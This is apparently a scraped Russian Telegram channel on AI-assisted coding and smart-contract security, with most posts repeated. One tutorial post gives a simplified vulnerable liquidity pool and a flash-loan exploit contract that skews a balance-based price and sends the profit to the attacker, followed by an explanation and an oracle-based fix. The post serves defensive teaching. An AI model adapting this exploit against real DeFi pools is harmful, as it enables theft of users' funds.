Я много экспериментирую с различными нейронками и редакторами, шаг за шагом продвигаясь и в собственном обучении ml/dl и в разработке пары проектов. И могу с уверенностью сказать, что ИИ сделали просто невероятный шаг в разработке кода за последнее время. С небольшой поправкой: если вы понимаете, что делаете.
Сейчас я использую Cursor IDE в 90% своей работы с кодом, с использованием Claude 4 (4.1, 4.5). Также экспериментирую с Qwen-Coder, CLM-4.5 (4.6) и GPT5. Работу с CLI пока не довелось хорошенько погонять...
И знаете что? В рамках IDE они действительно могут понимать контекст задачи и писать хороший код. При этом вы сами должны понимать, что ИИ пытается реализовать и помещать его в определенные рамки, как например, не добавлять не нужную отладку, не создавать тестовые файлы и т.д. Другими словами, ИИ будет делать то, что вы ему говорить, а не что ожидаете от него в своих мыслях.
Все идет к тому, что скоро у разработчиков пойдет смещение со стороны написания кода, на его аудит и чтение. Зачем тратить время на написание функции, когда я могу дать четкие указания ИИ на написание функции с нужными параметрами и проверками, а затем проаудировать код?
На мой взгляд, скоро будет важнее иметь теоретические знания, чем практические (где-то в соотношении 80% - 20%). При этом ваша теория должна быть настолько хороша, чтобы вы могли объяснить ее малолетнему ребенку.
Складывается таке ощущение, что скоро будут появляться больше информации с примерами функций или программ, с детальными комментариями к промту и требованиям, чтобы этот код написать.
Например, вместо примера контракта обычного токена, будет идти небольшое описание этого контракта и промт для ИИ, в котором будет расписана структура этого контракта: какие функции должны быть включены, что они должны делать, какие проверки в этих функциях должны быть, как они должны взаимодействовать друг с другом и т.д. При этом важно учитывать то, что ИИ уже будут знать эталонные примеры контрактов из библиотек Open Zeppelin, Uniswap или Chainlink.
Если вы думаете, что станет больше работы для Интернов и Джунов, то спешу вас огорчить.
Хороший промт может написать только уверенный мидл, как и проверить его написание после ИИ.
Давно я писал, что с каждым годом требования к соискателям даже на начальные позиции будут все более широкие: там где сначала требовалось знать только Solidity, потом потребовались знания написания тестов, потом базовой безопасности смарт контрактов, а теперь еще и навыки работы с ИИ и промтинга.
ИИ облегчит разработку в рамках "времени", но не профессиональных знаний.
#ai #vibecoding #solidity
Несколько месяцев назад, вроде как в начале лета, я писал пост про вайбкоддинг и то, что современные ИИ достаточно далеки от того, чтобы самостоятельно писать код, готовый для продакшена.
Ситуация начинает меняться очень и очень быстро.
Я много экспериментирую с различными нейронками и редакторами, шаг за шагом продвигаясь и в собственном обучении ml/dl и в разработке пары проектов. И могу с уверенностью сказать, что ИИ сделали просто невероятный шаг в разработке кода за последнее время. С небольшой поправкой: если вы понимаете, что делаете.
Сейчас я использую Cursor IDE в 90% своей работы с кодом, с использованием Claude 4 (4.1, 4.5). Также экспериментирую с Qwen-Coder, CLM-4.5 (4.6) и GPT5. Работу с CLI пока не довелось хорошенько погонять...
И знаете что? В рамках IDE они действительно могут понимать контекст задачи и писать хороший код. При этом вы сами должны понимать, что ИИ пытается реализовать и помещать его в определенные рамки, как например, не добавлять не нужную отладку, не создавать тестовые файлы и т.д. Другими словами, ИИ будет делать то, что вы ему говорить, а не что ожидаете от него в своих мыслях.
Все идет к тому, что скоро у разработчиков пойдет смещение со стороны написания кода, на его аудит и чтение. Зачем тратить время на написание функции, когда я могу дать четкие указания ИИ на написание функции с нужными параметрами и проверками, а затем проаудировать код?
На мой взгляд, скоро будет важнее иметь теоретические знания, чем практические (где-то в соотношении 80% - 20%). При этом ваша теория должна быть настолько хороша, чтобы вы могли объяснить ее малолетнему ребенку.
Складывается таке ощущение, что скоро будут появляться больше информации с примерами функций или программ, с детальными комментариями к промту и требованиям, чтобы этот код написать.
Например, вместо примера контракта обычного токена, будет идти небольшое описание этого контракта и промт для ИИ, в котором будет расписана структура этого контракта: какие функции должны быть включены, что они должны делать, какие проверки в этих функциях должны быть, как они должны взаимодействовать друг с другом и т.д. При этом важно учитывать то, что ИИ уже будут знать эталонные примеры контрактов из библиотек Open Zeppelin, Uniswap или Chainlink.
Если вы думаете, что станет больше работы для Интернов и Джунов, то спешу вас огорчить.
Хороший промт может написать только уверенный мидл, как и проверить его написание после ИИ.
Давно я писал, что с каждым годом требования к соискателям даже на начальные позиции будут все более широкие: там где сначала требовалось знать только Solidity, потом потребовались знания написания тестов, потом базовой безопасности смарт контрактов, а теперь еще и навыки работы с ИИ и промтинга.
ИИ облегчит разработку в рамках "времени", но не профессиональных знаний.
#ai #vibecoding #solidity
👍7
Контекст смарт контракта для AI
Сегодня просто решил поделиться с вами своими наблюдениями, которые я получил создавая небольшой проект на стыке AI/Web3.
В рамках задачи мне нужно было каким-то образом сжать смарт контракт для отправки его в модель LLM для анализа. Само сжатие потребовалось, чтобы уместить один или несколько смарт контрактов в рамки контекстного окна модели. Для тех, кто не в курсе, далее чуть поясню суть проблемы.
Несмотря на то, что современные модели могут иметь контекстные окна (тот объем информации, который они могут обработать за раз) от 200 000 до 1 000 000 токенов, активное внимание хорошо работает только примерено до 100 000 токенов. Другими словами, до этого объема они могут эффективно следовать инструкциям и "не забывать" условия и суть задачи.
Запросы пользователя в чатах не такие уж и большие, зачастую всего 50-250 токенов, поэтому общение в чате может быть достаточно долгим, если не просить модель отвечать развернуто.
Однако проблемы начинают возникать тогда, когда требуется в одном запросе отправить:
пользовательское сообщение + системный промт + контракт + документацию
Детально написанный системный промт может занимать 5к-15к токенов, длинный контракт около 8к-10к, документация и того больше. В итоге один запрос для хорошего анализа смарт контракта может занимать около 30к-40к токенов. И вроде бы ок, если не думать, что для более глубокого анализа связей между функциями нужно добавить еще 2-3 контракта, которые наследуются в первом. И тут уже контекст растет значительно!
Поэтому мне и нужно было как-то сжимать контракты и документацию, чтобы уменьшать количество используемых токенов, хотя бы на 30%-40%, а лучше и больше.
К сожалению, удаление комментариев из файла контракта, уменьшение пробелов и переносов строк, могут бать максимум 5%-8% сокращения. И этого мало.
Общение с ИИ также не сильно помогает: в большинстве своем они дают самые очевидные советы.
Однажды мне пришла мысль, что можно заменить самые часто повторяющиеся слова в контрактах (function, public, view, balanceOf) на какие-либо символы - типа тех же смайлов, так как по уверениям ChatGPT, смайлы занимают всего один токен.
P.S. Тут к слову сказать, что зачастую 1 токен равен около 3,5-4 символам текста, но для разных ИИ это могут быть разные значения.
И вроде как логично, 1 смайл - 1 токен. Но все оказалось сложнее.
Сначала нужно было узнать те самые популярные слова в контактах. Благо в сети можно найти отличные подборки контрактов, которые использовали в различных датасетах. Я получил около 130 000 реальных контрактов.
Затем с помощью простого скрипта на Python, я собрал самые повторяющиеся слова, которых вышло около 150 000 всего. Слов которые повторялись более 500 раз на эту подборку было около 10 000. Их я и решил использовать.
Далее я написал небольшой скрипт, который используя популярные библиотеки для подсчета токенов (antropic, openai, huggingface и базовый - 1 токен/4 символа), прогнал все 10 000 слов.
Далее, собрал все PUA / emoji / редкие символы (UU+E000–U+F8FF) и также прогнал их через скрипт подсчета токенов.
И тут было мое разочарование. Оказалось, что большинство популярных слов в смарт контрактах и так составляют всего 2-3 токена, как и смайлы!
OnlyOwner, balanceOf и другие популярные переменные занимают столько же места в контексте, что и :)!
В данном эксперименте я не учет способ обучения модели на данных! Когда, грубо говоря, GPT обучается на смарт контрактах и видит миллионы из них, то самые часто употребляющиеся слова "сливаются" в меньшее количество токенов, и не зависит от количества символов в слове! Другими словами, модель сама себя оптимизирует по контексту, и таким образом программный код занимает минимально возможное количество токенов. (На самом деле процесс немного сложнее, но суть примерно та же).
И от этой идеи пришлось отказаться...
Но есть пара других: кардинально другой подход, который на первых тестах показал сокращение количества токенов на 45%! Экспериментирую с ним дальше!
Сегодня просто решил поделиться с вами своими наблюдениями, которые я получил создавая небольшой проект на стыке AI/Web3.
В рамках задачи мне нужно было каким-то образом сжать смарт контракт для отправки его в модель LLM для анализа. Само сжатие потребовалось, чтобы уместить один или несколько смарт контрактов в рамки контекстного окна модели. Для тех, кто не в курсе, далее чуть поясню суть проблемы.
Несмотря на то, что современные модели могут иметь контекстные окна (тот объем информации, который они могут обработать за раз) от 200 000 до 1 000 000 токенов, активное внимание хорошо работает только примерено до 100 000 токенов. Другими словами, до этого объема они могут эффективно следовать инструкциям и "не забывать" условия и суть задачи.
Запросы пользователя в чатах не такие уж и большие, зачастую всего 50-250 токенов, поэтому общение в чате может быть достаточно долгим, если не просить модель отвечать развернуто.
Однако проблемы начинают возникать тогда, когда требуется в одном запросе отправить:
пользовательское сообщение + системный промт + контракт + документацию
Детально написанный системный промт может занимать 5к-15к токенов, длинный контракт около 8к-10к, документация и того больше. В итоге один запрос для хорошего анализа смарт контракта может занимать около 30к-40к токенов. И вроде бы ок, если не думать, что для более глубокого анализа связей между функциями нужно добавить еще 2-3 контракта, которые наследуются в первом. И тут уже контекст растет значительно!
Поэтому мне и нужно было как-то сжимать контракты и документацию, чтобы уменьшать количество используемых токенов, хотя бы на 30%-40%, а лучше и больше.
К сожалению, удаление комментариев из файла контракта, уменьшение пробелов и переносов строк, могут бать максимум 5%-8% сокращения. И этого мало.
Общение с ИИ также не сильно помогает: в большинстве своем они дают самые очевидные советы.
Однажды мне пришла мысль, что можно заменить самые часто повторяющиеся слова в контрактах (function, public, view, balanceOf) на какие-либо символы - типа тех же смайлов, так как по уверениям ChatGPT, смайлы занимают всего один токен.
P.S. Тут к слову сказать, что зачастую 1 токен равен около 3,5-4 символам текста, но для разных ИИ это могут быть разные значения.
И вроде как логично, 1 смайл - 1 токен. Но все оказалось сложнее.
Сначала нужно было узнать те самые популярные слова в контактах. Благо в сети можно найти отличные подборки контрактов, которые использовали в различных датасетах. Я получил около 130 000 реальных контрактов.
Затем с помощью простого скрипта на Python, я собрал самые повторяющиеся слова, которых вышло около 150 000 всего. Слов которые повторялись более 500 раз на эту подборку было около 10 000. Их я и решил использовать.
Далее я написал небольшой скрипт, который используя популярные библиотеки для подсчета токенов (antropic, openai, huggingface и базовый - 1 токен/4 символа), прогнал все 10 000 слов.
Далее, собрал все PUA / emoji / редкие символы (UU+E000–U+F8FF) и также прогнал их через скрипт подсчета токенов.
И тут было мое разочарование. Оказалось, что большинство популярных слов в смарт контрактах и так составляют всего 2-3 токена, как и смайлы!
OnlyOwner, balanceOf и другие популярные переменные занимают столько же места в контексте, что и :)!
В данном эксперименте я не учет способ обучения модели на данных! Когда, грубо говоря, GPT обучается на смарт контрактах и видит миллионы из них, то самые часто употребляющиеся слова "сливаются" в меньшее количество токенов, и не зависит от количества символов в слове! Другими словами, модель сама себя оптимизирует по контексту, и таким образом программный код занимает минимально возможное количество токенов. (На самом деле процесс немного сложнее, но суть примерно та же).
И от этой идеи пришлось отказаться...
Но есть пара других: кардинально другой подход, который на первых тестах показал сокращение количества токенов на 45%! Экспериментирую с ним дальше!
👍8🤔1
Вот такая короткая история! Если у вас были схожие задачи и вы смогли их решить, буду рад, если поделитесь в комментариях!
#ai #contracts
#ai #contracts
🐳1
Изучайте Vibe codding и AI в web3
Несмотря на то, что я сейчас реже публикую посты в Твиттере, я по-прежнему каждый день слежу за новостями и лидерами мнений в сфере web3. И меня не перестаёт удивлять некоторая двойственность в их поведении: с одной стороны, они открыто иронизируют над «вайб-кодингом» и теми, кто пишет код и тесты с помощью ИИ, а с другой — в комментариях под другими постами с жаром спорят, какой же ИИ-помощник лучше: ChatGPT или Claude.
Это напомнило мне время, когда я работал фуллстек-разработчиком и в 90% случаев использовал PHP. Тогда многие твердили, что PHP — это «отстой» и пора переходить на Python. Как-то раз я наткнулся на замечательное сравнение:
«PHP — как самокат. Отличная штука, но из-за того, что на нём может поехать кто угодно, его репутация ниже плинтуса».
Похожая ситуация и здесь. Многие аудиторы и разработчики уже давно используют ИИ-редакторы кода, но почему-то стесняются в этом признаваться — возможно, боятся, что это уронит их репутацию. Странно, не правда ли?
На мой взгляд, вайб-кодинг — это просто инструмент. Если вы понимаете, как должна работать программа, какие алгоритмы выбрать и как всё устроено под капотом, то ИИ кардинально сократит время разработки. Это освободит вам время для проверки гипотез и исследования жизнеспособности идеи. А если вы и без ИИ писали не самый качественный код, то и с ним результат будет таким же.
Я уверен, что в течение года в каждой уважающей себя компании появятся свои пайплайны для работы с ИИ: агенты, инструменты для разработки, векторные базы данных, ассистенты и многое другое. И важно уже сейчас начинать разбираться в этом, чтобы уметь встроиться в этот процесс.
То же самое ждёт и сферу разработки смарт-контрактов. Web3 — лакомый кусок для финансового мира. Крупные компании и создатели языковых моделей так или иначе будут обучать их написанию контрактов, ботов и сетей. За последние полгода они уже серьёзно продвинулись и будут становиться только лучше.
Да, для этого нужна тщательная выборка безопасных контрактов для обучения. Но с другой стороны, эти же модели учатся и на аудиторских отчётах. Так что в какой-то момент ИИ сможет не только написать код, но и проанализировать его на типичные ошибки, исправить их и предоставить готовое решение.
Всё это упростит жизнь разработчикам, но усложнит — аудиторам. Уже не получится просто написать в отчёте: «send() небезопасен», потребуется более глубокий анализ.
Что я хочу сказать? Уже сейчас стоит активно осваивать вайб-кодинг и не стесняться этого. Создавайте мини-проекты, выкладывайте код в опенсорс, делитесь опытом.
Учитесь и не обращайте внимания на тех, кто пытается вас пристыдить. Будущее — за теми, кто умеет работать с инструментами, а не игнорирует их.
#vibe #ai
Несмотря на то, что я сейчас реже публикую посты в Твиттере, я по-прежнему каждый день слежу за новостями и лидерами мнений в сфере web3. И меня не перестаёт удивлять некоторая двойственность в их поведении: с одной стороны, они открыто иронизируют над «вайб-кодингом» и теми, кто пишет код и тесты с помощью ИИ, а с другой — в комментариях под другими постами с жаром спорят, какой же ИИ-помощник лучше: ChatGPT или Claude.
Это напомнило мне время, когда я работал фуллстек-разработчиком и в 90% случаев использовал PHP. Тогда многие твердили, что PHP — это «отстой» и пора переходить на Python. Как-то раз я наткнулся на замечательное сравнение:
«PHP — как самокат. Отличная штука, но из-за того, что на нём может поехать кто угодно, его репутация ниже плинтуса».
Похожая ситуация и здесь. Многие аудиторы и разработчики уже давно используют ИИ-редакторы кода, но почему-то стесняются в этом признаваться — возможно, боятся, что это уронит их репутацию. Странно, не правда ли?
На мой взгляд, вайб-кодинг — это просто инструмент. Если вы понимаете, как должна работать программа, какие алгоритмы выбрать и как всё устроено под капотом, то ИИ кардинально сократит время разработки. Это освободит вам время для проверки гипотез и исследования жизнеспособности идеи. А если вы и без ИИ писали не самый качественный код, то и с ним результат будет таким же.
Я уверен, что в течение года в каждой уважающей себя компании появятся свои пайплайны для работы с ИИ: агенты, инструменты для разработки, векторные базы данных, ассистенты и многое другое. И важно уже сейчас начинать разбираться в этом, чтобы уметь встроиться в этот процесс.
То же самое ждёт и сферу разработки смарт-контрактов. Web3 — лакомый кусок для финансового мира. Крупные компании и создатели языковых моделей так или иначе будут обучать их написанию контрактов, ботов и сетей. За последние полгода они уже серьёзно продвинулись и будут становиться только лучше.
Да, для этого нужна тщательная выборка безопасных контрактов для обучения. Но с другой стороны, эти же модели учатся и на аудиторских отчётах. Так что в какой-то момент ИИ сможет не только написать код, но и проанализировать его на типичные ошибки, исправить их и предоставить готовое решение.
Всё это упростит жизнь разработчикам, но усложнит — аудиторам. Уже не получится просто написать в отчёте: «send() небезопасен», потребуется более глубокий анализ.
Что я хочу сказать? Уже сейчас стоит активно осваивать вайб-кодинг и не стесняться этого. Создавайте мини-проекты, выкладывайте код в опенсорс, делитесь опытом.
Учитесь и не обращайте внимания на тех, кто пытается вас пристыдить. Будущее — за теми, кто умеет работать с инструментами, а не игнорирует их.
#vibe #ai
👍12🔥7
Атаки с манипулированием ценами. Часть 1
На прошлой неделе мы немного отошли от основной темы, а сейчас самое время продолжить разбирать новые атаки.
Сегодня мы углубимся в тему атак с манипулированием ценами.
Эти атаки являются распространенной угрозой в децентрализованных финансах (DeFi), использующей уязвимости в протоколах для искусственного искажения цен на активы с целью получения незаконной прибыли. Только в 2024 году эти атаки привели к убыткам на сумму более 52 миллионов долларов в 37 инцидентах, что делает их вторым по ущербу вектором атак. Злоумышленники часто используют флэш-кредиты или уязвимости оракулов для создания ценовых диспропорций, что влияет на такие критически важные компоненты, как кредитные платформы, децентрализованные биржи (DEX) и стейблкоины.
Как цена рассчитывается по соотношению балансов токенов?
Расчет цен на основе балансов токенов в рамках одного контракта кажется простым: соотношение токена A к токену B в пуле определяет цену. Однако злоумышленники могут временно изменить эти балансы с помощью флэш-кредитов или прямых пожертвований, вызывая резкие колебания цен. Ранее мы обсуждали, как злоумышленники могут манипулировать состоянием протокола с помощью атак с помощью пожертвований, которые часто основаны на искажении внутренних балансов, чтобы повлиять на такие значения, как «цена акции». Флэш-кредиты используют аналогичные принципы, позволяя злоумышленникам временно манипулировать балансами базовых токенов, используемых для ценообразования в рамках одной транзакции.
Давайте рассмотрим, как злоумышленник использует простую DEX, где цена определяется непосредственно на основе балансов токенов.
На прошлой неделе мы немного отошли от основной темы, а сейчас самое время продолжить разбирать новые атаки.
Сегодня мы углубимся в тему атак с манипулированием ценами.
Эти атаки являются распространенной угрозой в децентрализованных финансах (DeFi), использующей уязвимости в протоколах для искусственного искажения цен на активы с целью получения незаконной прибыли. Только в 2024 году эти атаки привели к убыткам на сумму более 52 миллионов долларов в 37 инцидентах, что делает их вторым по ущербу вектором атак. Злоумышленники часто используют флэш-кредиты или уязвимости оракулов для создания ценовых диспропорций, что влияет на такие критически важные компоненты, как кредитные платформы, децентрализованные биржи (DEX) и стейблкоины.
Как цена рассчитывается по соотношению балансов токенов?
Расчет цен на основе балансов токенов в рамках одного контракта кажется простым: соотношение токена A к токену B в пуле определяет цену. Однако злоумышленники могут временно изменить эти балансы с помощью флэш-кредитов или прямых пожертвований, вызывая резкие колебания цен. Ранее мы обсуждали, как злоумышленники могут манипулировать состоянием протокола с помощью атак с помощью пожертвований, которые часто основаны на искажении внутренних балансов, чтобы повлиять на такие значения, как «цена акции». Флэш-кредиты используют аналогичные принципы, позволяя злоумышленникам временно манипулировать балансами базовых токенов, используемых для ценообразования в рамках одной транзакции.
Давайте рассмотрим, как злоумышленник использует простую DEX, где цена определяется непосредственно на основе балансов токенов.
// Pool.sol (Simplified for illustration)
// Represents a simple liquidity pool vulnerable to balance manipulation
contract Pool is FlashLoanProvider { // Assume FlashLoanProvider is implemented elsewhere
IERC20 public immutable tokenA;
IERC20 public immutable tokenB;
constructor(IERC20 _tokenA, IERC20 _tokenB) {
tokenA = _tokenA;
tokenB = _tokenB;
}
// Simplified swap function
function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
require(tokenIn == tokenA || tokenIn == tokenB, "invalid token");
IERC20 tokenOut = tokenIn == tokenA ? tokenB : tokenA;
// Transfer tokens in
require(tokenIn.transferFrom(msg.sender, address(this), amountIn), "transfer in failed");
// Calculate amount out based on price
uint256 price = getPrice(tokenIn, tokenOut);
amountOut = amountIn * price / 1e18;
// Transfer tokens out
require(tokenOut.transfer(msg.sender, amountOut), "transfer out failed");
return amountOut;
}
// Vulnerable price calculation based on current pool balances
function getPrice(IERC20 tokenIn, IERC20 tokenOut) public view returns (uint256) {
uint256 balIn = tokenIn.balanceOf(address(this));
uint256 balOut = tokenOut.balanceOf(address(this));
if (balIn == 0 || balOut == 0) {
return 1e18; // 1:1 initial price
}
// Price is the ratio of output token to input token
return balOut * 1e18 / balIn;
}
// ... (flashLoanExternal and FlashLoanProvider logic assumed) ...
}
// Exploit.sol (Simplified for illustration)
// Contract to execute the flash loan and exploit
contract Exploit is IFlashLoanReceiver {
Pool public pool;
IERC20 public tokenA;
IERC20 public tokenB;
address public attacker;
constructor(
Pool _pool,
IERC20 _tokenA,
IERC20 _tokenB,
address _attacker
) {
pool = _pool;
tokenA = _tokenA;
tokenB = _tokenB;
attacker = _attacker;
}
function attack(uint256 loanAmount) external {
// Get the flashloan of tokenA
pool.flashLoanExternal(address(this), tokenA, loanAmount);
}
function receiveFlashLoan(IERC20 token, uint256 loanAmount) external override {
require(token == tokenA, "Expected tokenA flash loan");
🔥1👌1
// Step 1: Now the pool has less tokenA, so the price of tokenA (in terms of tokenB) is higher
// Step 2: Swap tokenA for tokenB at this manipulated rate
uint256 swapAmount = 100 * 1e18;
tokenA.transferFrom(attacker, address(this), swapAmount);
tokenA.approve(address(pool), swapAmount);
uint256 receivedB = pool.swap(tokenA, swapAmount);
// Step 3: Repay the flash loan
tokenA.transfer(address(pool), loanAmount);
// Step 4: Send profits to attacker
uint256 remainingBalanceA = tokenA.balanceOf(address(this));
uint256 remainingBalanceB = tokenB.balanceOf(address(this));
if (remainingBalanceA > 0) {
tokenA.transfer(attacker, remainingBalanceA);
}
if (remainingBalanceB > 0) {
tokenB.transfer(attacker, remainingBalanceB);
}
}
}
В этом сценарии функция getPrice контракта пула рассчитывает обменный курс на основе текущих остатков tokenA и tokenB, хранящихся в пуле. Эта зависимость от внутреннего, легко изменяемого состояния является основной уязвимостью.
Как работает атака?
1. Настройка: злоумышленник финансирует контракт Exploit небольшой суммой токена A (swapAmount), которую он будет использовать для свопа.
2. Flashloan: злоумышленник вызывает атаку на контракт Exploit, инициируя крупный флэш-кредит токена A из самого контракта Pool. Этот кредит выполняется до того, как функция receiveFlashLoan возвращает результат.
3. Манипулирование ценой (внутри receiveFlashLoan): пока флэш-заем активен, баланс токена A в пуле искусственно занижен. Когда контракт Exploit вызывает pool.swap(tokenA, swapAmount), функция getPrice пула рассчитывает цену на основе этих временно искаженных низких резервов токена A. Это приводит к манипулированию ценой, в результате чего токен A выглядит гораздо более ценным, чем в нормальных условиях.
5. Своп (внутри receiveFlashLoan): контракт Exploit обменивает небольшую сумму собственного предварительно профинансированного tokenA на tokenB с помощью функции pool.swap. Из-за манипулируемой цены этот своп приносит непропорционально большую сумму tokenB.
6. Погашение кредита (внутри receiveFlashLoan): контракт Exploit погашает крупный флэш-кредит tokenA контракту Pool. Вызов receiveFlashLoan должен завершиться успешно, что означает погашение кредита.
7. Прибыль (после возврата receiveFlashLoan): Контракт Exploit теперь содержит исходное количество tokenA (или немного меньше из-за комиссий, хотя в этом упрощенном примере комиссии опущены) плюс избыточное количество tokenB, полученное в результате манипулирования свопом. Оставшиеся токены отправляются обратно на адрес злоумышленника, что приносит прибыль в tokenB.
Исправление: использование надежных источников цен (оракулов)
Надежным решением является отказ от использования соотношений балансов в цепочке для расчета цен и интеграция внешних оракулов цен, таких как Chainlink. Оракулы предоставляют надежные, защищенные от подделки данные о ценах вне цепочки, что значительно упрочняет контракты против манипуляций, основанных на внутреннем состоянии.
Получая цены из фида Chainlink, контракт отделяет свою ценовую логику от внутреннего, поддающегося манипуляциям состояния и внешних, нестабильных спотовых рынков, что значительно сокращает поверхность атаки.
#price
❤4👍2
Атаки с манипулированием ценами. Часть 2
Спотовые цены, полученные непосредственно из пулов ликвидности DEX, уязвимы для манипуляций с помощью флэш-кредитов, которые могут временно истощить пулы.
В предыдущем разделе мы установили, что полагаться исключительно на внутренние соотношения баланса токенов контракта для ценообразования небезопасно. Однако как насчет получения цен из внешних источников, таких как крупные пулы ликвидности DEX (например, Uniswap, SushiSwap)? Несмотря на риски, спотовые цены DEX по-прежнему привлекают разработчиков своими очевидными преимуществами: децентрализованным характером, экономической эффективностью (отсутствие комиссий оракула), прозрачностью и мгновенным ценообразованием, особенно для новых токенов. В отличие от специализированных сетей оракулов, они используют только данные из цепочки, что, по-видимому, позволяет избежать внешних зависимостей.
Но их математическая простота, напрямую связанная с волатильными резервами пула (x * y = k), делает их мишенью для манипуляций посредством стратегических сделок, аналогично примеру с меньшим пулом, который мы обсуждали. Злоумышленники могут воспользоваться этим, выполняя крупные сделки (часто финансируемые за счет флэш-кредитов), чтобы временно исказить баланс пула, вызывая резкий скачок или падение спотовой цены, сообщаемой пулом, в зависимости от направления сделки. Этот риск особенно выражен для пулов с низкой ликвидностью, где даже сделки умеренного размера могут вызвать значительные ценовые сдвиги.
Для того, чтобы смягчить влияние манипуляций с ценами с помощью внезапных изменений спотовой цены, можно использовать TWAP. Вместо того, чтобы делать мгновенный снимок (спотовая цена), TWAP усредняет цены за определенный период, обычно от нескольких минут до нескольких часов.
Это значительно ослабляет влияние краткосрочных манипуляций. TWAP работает путем записи кумулятивных цен через определенные интервалы и вычисления средней цены между двумя временными метками.
Чтобы значительно исказить TWAP в течение его окна, злоумышленник должен поддерживать искаженную цену в течение всего этого окна. Это значительно более затратное мероприятие, чем кратковременная манипуляция с помощью флэш-кредитов. Особенно в пулах с высокой ликвидностью, сделки, необходимые для поддержания искаженной цены, повлекут за собой существенное проскальзывание или потребуют огромного капитала.
Протоколы, такие как Uniswap, предлагают собственные оракулы TWAP, встроенные непосредственно в их контракты.
Подход TWAP особенно эффективен для приложений, которые могут терпеть некоторую задержку цен, таких как расчетные слои, казначейские операции или медленно движущиеся рынки. Однако временное окно является важным параметром проектирования: более длинное окно увеличивает сопротивление манипуляциям, но вводит большую задержку в обновлении цен; более короткое окно быстрее, но легче поддается манипуляциям. Оптимальное окно должно быть тщательно выбрано на основе волатильности актива, ликвидности пула и конкретных требований протокола, использующего ценовой фид.
#price
Спотовые цены, полученные непосредственно из пулов ликвидности DEX, уязвимы для манипуляций с помощью флэш-кредитов, которые могут временно истощить пулы.
В предыдущем разделе мы установили, что полагаться исключительно на внутренние соотношения баланса токенов контракта для ценообразования небезопасно. Однако как насчет получения цен из внешних источников, таких как крупные пулы ликвидности DEX (например, Uniswap, SushiSwap)? Несмотря на риски, спотовые цены DEX по-прежнему привлекают разработчиков своими очевидными преимуществами: децентрализованным характером, экономической эффективностью (отсутствие комиссий оракула), прозрачностью и мгновенным ценообразованием, особенно для новых токенов. В отличие от специализированных сетей оракулов, они используют только данные из цепочки, что, по-видимому, позволяет избежать внешних зависимостей.
Но их математическая простота, напрямую связанная с волатильными резервами пула (x * y = k), делает их мишенью для манипуляций посредством стратегических сделок, аналогично примеру с меньшим пулом, который мы обсуждали. Злоумышленники могут воспользоваться этим, выполняя крупные сделки (часто финансируемые за счет флэш-кредитов), чтобы временно исказить баланс пула, вызывая резкий скачок или падение спотовой цены, сообщаемой пулом, в зависимости от направления сделки. Этот риск особенно выражен для пулов с низкой ликвидностью, где даже сделки умеренного размера могут вызвать значительные ценовые сдвиги.
Для того, чтобы смягчить влияние манипуляций с ценами с помощью внезапных изменений спотовой цены, можно использовать TWAP. Вместо того, чтобы делать мгновенный снимок (спотовая цена), TWAP усредняет цены за определенный период, обычно от нескольких минут до нескольких часов.
Это значительно ослабляет влияние краткосрочных манипуляций. TWAP работает путем записи кумулятивных цен через определенные интервалы и вычисления средней цены между двумя временными метками.
Чтобы значительно исказить TWAP в течение его окна, злоумышленник должен поддерживать искаженную цену в течение всего этого окна. Это значительно более затратное мероприятие, чем кратковременная манипуляция с помощью флэш-кредитов. Особенно в пулах с высокой ликвидностью, сделки, необходимые для поддержания искаженной цены, повлекут за собой существенное проскальзывание или потребуют огромного капитала.
Протоколы, такие как Uniswap, предлагают собственные оракулы TWAP, встроенные непосредственно в их контракты.
Подход TWAP особенно эффективен для приложений, которые могут терпеть некоторую задержку цен, таких как расчетные слои, казначейские операции или медленно движущиеся рынки. Однако временное окно является важным параметром проектирования: более длинное окно увеличивает сопротивление манипуляциям, но вводит большую задержку в обновлении цен; более короткое окно быстрее, но легче поддается манипуляциям. Оптимальное окно должно быть тщательно выбрано на основе волатильности актива, ликвидности пула и конкретных требований протокола, использующего ценовой фид.
#price
👍3🔥1
Насколько хороши аудиторские отчеты?
Вы когда-ниодь задумывались о том, насколько развернутыми и качественными бывают аудиторские отчеты для смарт-контрактов? За последние четыре месяца я собрал и проанализировал базу из более чем двадцати четырех тысяч уязвимостей, извлеченных из отчетов частных аудиторов, компаний и конкурсных платформ. Эта работа стала фундаментом для создания интеллектуального ассистента, призванного помогать в аудите. Ключевым этапом была оценка информационной ценности каждого отдельного отчета.
Для этого была разработана система взвешивания. Основной вклад вносили три компонента: детальное описание проблемы, рекомендации по ее устранению и наличие доказательства концепции (PoC). Наибольший вес был назначен доказательству концепции, так как его наличие существенно повышает практическую ценность отчета. Дополнительные баллы начислялись за включение фрагментов кода на Solidity и за уровень серьезности самой уязвимости.
Для того, чтобы система оценок была более справедливой и сбалансированной, сырые баллы прошли процесс нормализации. Была применена логарифмическая функция, которая сжимает исходный диапазон значений от нуля до пятнадцати в интервал от нуля до единицы. Это предотвратило ситуацию, при которой несколько идеальных отчетов с максимальными баллами доминировали бы над всеми остальными, и позволило выстроить более плавный и информативный градиент качества.
Статистический анализ полученных данных выявил любопытные закономерности. Средний вес по всем отчетам составил 0.32 при медианном значении 0.27. Это означает, что половина всех проанализированных отчетов имеет оценку ниже 0.27. Распределение весов является скошенным, с явным пиком в области низких значений, что указывает на преобладание относительно кратких или неполных описаний уязвимостей.
Качественными можно считать лишь около четверти всех отчетов, чей вес превышает значение 0.51. Наличие доказательства концепции и сопровождающего его кода является ключевым фактором, который отделяет эту группу от общей массы. Именно эти отчеты формируют так называемый золотой фонд данных, наиболее пригодный для эффективного обучения моделей искусственного интеллекта.
Проведенная работа наглядно демонстрирует, что подробные отчеты с практическими примерами реализации уязвимости пока что являются скорее исключением, чем правилом. Это создает определенные вызовы для автоматизации аудита, но одновременно выделяет истинную ценность глубоких и тщательно проработанных исследований. Собранный датасет с взвешенными уязвимостями открывает путь к созданию инструмента, способного существенно повысить эффективность и точность анализа безопасности смарт-контрактов.
Такой анализ подчеркивает важность не только обнаружения уязвимости, но и качества ее документации для всего сообщества. Полнота отчета напрямую влияет на скорость и точность его обработки как человеком, так и алгоритмом, что в конечном счете способствует повышению общего уровня безопасности в экосистеме блокчейна.
#notsosmart
Вы когда-ниодь задумывались о том, насколько развернутыми и качественными бывают аудиторские отчеты для смарт-контрактов? За последние четыре месяца я собрал и проанализировал базу из более чем двадцати четырех тысяч уязвимостей, извлеченных из отчетов частных аудиторов, компаний и конкурсных платформ. Эта работа стала фундаментом для создания интеллектуального ассистента, призванного помогать в аудите. Ключевым этапом была оценка информационной ценности каждого отдельного отчета.
